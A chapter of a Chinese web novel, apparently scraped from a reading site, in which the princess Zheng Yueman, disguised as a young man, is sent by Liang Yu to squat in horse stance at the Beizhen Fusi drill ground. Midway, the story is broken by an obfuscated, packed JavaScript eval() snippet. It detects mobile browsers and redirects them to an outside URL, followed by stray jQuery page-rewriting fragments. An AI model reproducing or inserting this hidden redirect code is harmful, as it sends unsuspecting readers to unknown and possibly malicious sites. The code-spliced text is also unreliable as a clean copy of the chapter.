连续几日的昏沉里,一时是母亲的啜泣,一时是外祖一家血染石阶的惨状,郑月蛮在梦中几乎叫破了喉咙。
所以她睁眼的第一件事就想喝水。
嘴唇干燥的起了皮,往喉咙里灌茶水的时候吞咽都刀子刮蹭似的疼。
花信抱着包袱进门的时候,正瞧见郑月蛮撑在桌前大口大口的吃茶,她惊的包袱里的衣裳都掉在地上,忙冲过去拦下。
“县主仔细呛着!”
茶盏被人夺过,郑月蛮随手抹了一把唇边的湿润,又打眼看见地上眼生的衣裳,问:“这是什么?”
“是姑爷吩咐给县主做的衣裳。”
花信这才搁下茶盏,转身去捡衣服。
“给我做的?”郑月蛮有些不可置信的瞪大眼睛:“衣裳?”
花信点点头,语不惊人死不休道:“姑爷说了,等县主醒了,就每日去北镇抚司的校场报道,上午练了武,下午再回指挥使府听沈先生讲学。”
???
郑月蛮晃了晃脑袋,试图让自己听清楚花信的话。
“你不是在说笑吧花信?”她指了指自己:“我?练武?梁昱说的?”
这时镜月从屋外端了药进来,代替花信回答她的话。
“县主,您这身子太弱了,我和赵太医商讨了一番,还是觉得您要从根处强健起来才成,所以跟着姑爷练武,是最好的方式。”
“我不去。”郑月蛮想都没想的拒绝。
镜月将药放下来,无奈道:“姑爷说了,他在校场等您,若是过了时辰您还未到,东西就别想要了。”
“东西?”
什么东西还没问出口,郑月蛮后知后觉的反应过来,那日好像梁昱说过,要帮她一起查案子。
那这东西,不会是她没从长公主那里拿回来的账本吧!
郑月蛮一个激灵,一口痛饮完桌上的药。
“花信!更衣!快!”
花信好奇地问:“县主不是说不去吗?”
……
北镇抚司郑月蛮不是第一回来了,第一次是议事厅,第二次是诏狱。
每次来的时候,都打仗似的。
郑月蛮竟然不知道,里面这么大,居然还有演武场。
听带她进来的小旗路程说,北镇抚司的校场可不比军营里的差。
身为金陵卫,只要没有公职的时候,每日都要起早贪黑的在校场泡着,拉弓射马,长枪刀剑,样样都要练。
怪不得金陵卫能和皇城司的禁军平分秋色,甚至更占权势,看来这背后,梁昱下了不少功夫的。
“不过最厉害的还属我们指挥使大人,这些年来,就算是辽国第一勇士科尔多,也没在我们大人手上讨过半分便宜。”
如果说契胡是朔北的一头狼,那么辽国就是朔北与之匹敌的一头雄狮。
科尔多是辽国最出名的第一勇士,传言他曾在凉州边界,一人独取我朝凉州卫七名将领的首级,然后全身而退。
这样的人物,梁昱竟然不逊色于他?
“所以,你小子就跟着学吧,等日后跟哥一样混上个小旗,跟着指挥使大人,就是汴京的那些贵人,也少不得高看你一眼!”
郑月蛮只低着头笑说是,也不反驳。
梁昱提前交代过,说是她一个姑娘家,若是明目张胆的在满是男人的北镇抚司校场上,怕会引起非议,所以给她置办的便服都是男人的样式。
临行前她还特地将头发全都用素簪束起,往日的脂粉也都擦干净。
不仔细辨认,倒是难以将她和原先的县主扯上关系,即使路程先前见过两次郑月蛮,此刻也完全没将她认出来。
路程看着旁边瘦弱少年脖颈后的大片雪白,只觉得日头儿晃了眼。
他赶忙收回目光,在心里暗骂一句,娘嘞,怎么有个男人长得比女人还白净漂亮!
这样瘦瘦一片,能撑得住北镇抚司弟兄们几招?
“总之,你这身子骨看着太弱了,我们指挥使大人一向严格,每每练兵,那些平时叫嚷的多厉害的弟兄们都受不住,你就自求多福吧!”
这么说着,就到了校场,一众金陵卫正分成十几个小队,被各自的长官领着训练。
“哈!”
“嘿!”
他们的步子跨得齐,出招的时候中气十足,可以看出力量的不凡。
郑月蛮被这架势吓得眨了眨眼,后退一步。
路程笑一声:“这就怕了?那等我们指挥使大人来,你小子还不尿裤子!”
郑月蛮还未来得及说一句,不远处领头的罗远看见他们就走了过来。
罗远走近顺势给了路程一脚,路程被踹的踉跄几步,捂着屁股。
他道:“哎呦!罗哥!这还有新来的兄弟呢,给个面子!”
路程私下对几个千户都叫哥,他人机灵,惯会溜须拍马的,很是吃得开。
罗远扫了郑月蛮一眼,碍着现在的情况没行礼,反倒是盯着路程笑骂:“叫你接个人,半个时辰过去了,拖着做什么?你小子心里想什么我还能不知道?晚些时候自己加练半个时辰!”
路程立刻苦着脸:“罗哥别啊!”
“还不快去!”
路程刚想悄悄和一旁的郑月蛮眼神对视一下,给她个信号,就又被罗远抬脚一蹬。
“再耽搁就一个时辰!”
路程不敢再墨迹,立刻小跑着进了校场。
见身旁没了人,罗远才开始与郑月蛮交谈。
“县主,北镇抚司盯着的人多,这里又都是我们一群糙男人,您多有不便的还请担待,您的身份也不好透露的,这群小子比娘们嘴还碎,大人说,在这里就唤您十七,更妥当些。”
郑月蛮没有意见,只探了探头问:“你们大人呢?不是说我来了就给我东西?”
罗远嘿嘿一笑:“我们大人说您先练着,什么时候练出些门道了,您想要的东西他自然都会给您。”
郑月蛮无语凝噎,有那么一种错觉,她觉得自己像只被放在路上的乌龟,梁昱就在前方吊着块肉,引她向前。
真是个阴险狡诈仗势欺人的狗官!
“那我今日学什么?”
郑月蛮朝前方校场上的金陵卫看过去,刀枪棍棒,拳法腿法,他们各有各的擅长。
不知道梁昱会让她学哪一种,之前喜珠她们也尝试教过她,可她实在太懒的动弹了,每次没过一炷香就叫嚷着累。
这事儿也就不了了之。
正想着,罗远挠了挠头指了指人群边缘的一块空地,尴尬道:“大人说,在那儿,扎马步。”
郑月蛮:????
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15269665|164257||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“梁昱他是不是故意的!”
“县主别着急生气,这初学者都是从扎马步开始的,我们也都这样。”
郑月蛮冷哼一声:“你们真的也这样吗?”
罗远躲开视线,又是嘿嘿一笑,意思很明显。
郑月蛮带着一肚子火气,就这么蹲在角落扎起了马步。
她生的瘦弱,跟普通男子已经是相差甚大,金陵卫更是从这些人里选优选强。
这么一对比下来,她就像是一只兔子钻进了兽群里,频频引得那些野兽注目。
再加上她实在生的白,肌肤又光滑细腻,活脱脱的一幅男妖精的样子,更叫场上的金陵卫心思四起。
有同好借着比刀凑近路程,好奇问道:“这是哪里来的娘娘腔?怎的生的比个姑娘还漂亮白净?”
路程觑他一眼:“罗千户叫我接来的,我哪里知道,怕是哪个千户的亲戚,想着送进金陵卫练练看,没准还能走关系得个差事!”
那人扭头忍不住再看一眼角落里神情痛苦的小郎君。
“就他?这细皮嫩肉的,还想进金陵卫?那以后我看也别将犯人抓进诏狱了,就将他往犯人面前一丢,保管犯人裤/裆火热,举手投降!”
说完他还不怀好意的笑了几声。
路程听着不舒服,挥刀震退他几步。
“人挺老实的,要不是家里困难,谁愿意来抢这刀口舔血的差事,你嘴巴干净点!”
那人被震的胳膊发麻,他悻悻地摸了摸鼻子:“我这不是玩笑嘛,以后不说了。”
一时之间停了话,路程却鬼使神差的也回头偷看一眼郑月蛮。
金色日光下,那小郎君半蹲着身子,因为热,他胳膊上的袖子拢起,竟连小臂上的皮肤都跟烟月坊里的姑娘似的,白净光滑到不可思议。
耳后一热,他又想起刚刚同好说的话,更觉得周身燥热。
这大男人长这么漂亮做什么!
都怪刚刚那人,乱七八糟说的什么东西!
受了惊似的回过头,路程又一眼瞧见擂台上,不知道什么时候,梁昱已经握刀而立,那双漆黑的眸正幽幽的盯着他。
这下是真的吓了一跳,路程脚底都跟着软了一下。
下一秒,他看见梁昱朝他招了招手,示意他过去。
绣春刀出鞘,梁昱单手握刀,另一手背住,一身大红飞鱼服艳的晃眼。
路程两眼一黑。
不是吧?指挥使大人要跟他练刀?
不如直接杀了他算了!
今天是是犯了哪路神仙?平常别说跟这位练刀,就是多说几句,这位爷也是不耐烦的。
罗远那些千户都轮不上,今天轮到他了?
在那眼神威慑下,路程一脸不情愿的朝着擂台迈腿。
蹲了半天一身汗的郑月蛮也是气上加气,她索性站起身子,眺目远望,也看见那人握刀立于擂台上。
暖风拂过他旖丽的眉眼,又掠过他高挺的鼻梁。
梁昱绷着下颌,紧紧注视着下方,刀影迎着日光都缠上暖意,可他眼中泠冽。
郑月蛮当下确信。
他在生气。
这人真是奇怪,把自己一通折腾,等了他半天也没来,现下他又莫名其妙的生气起来。
有病吧!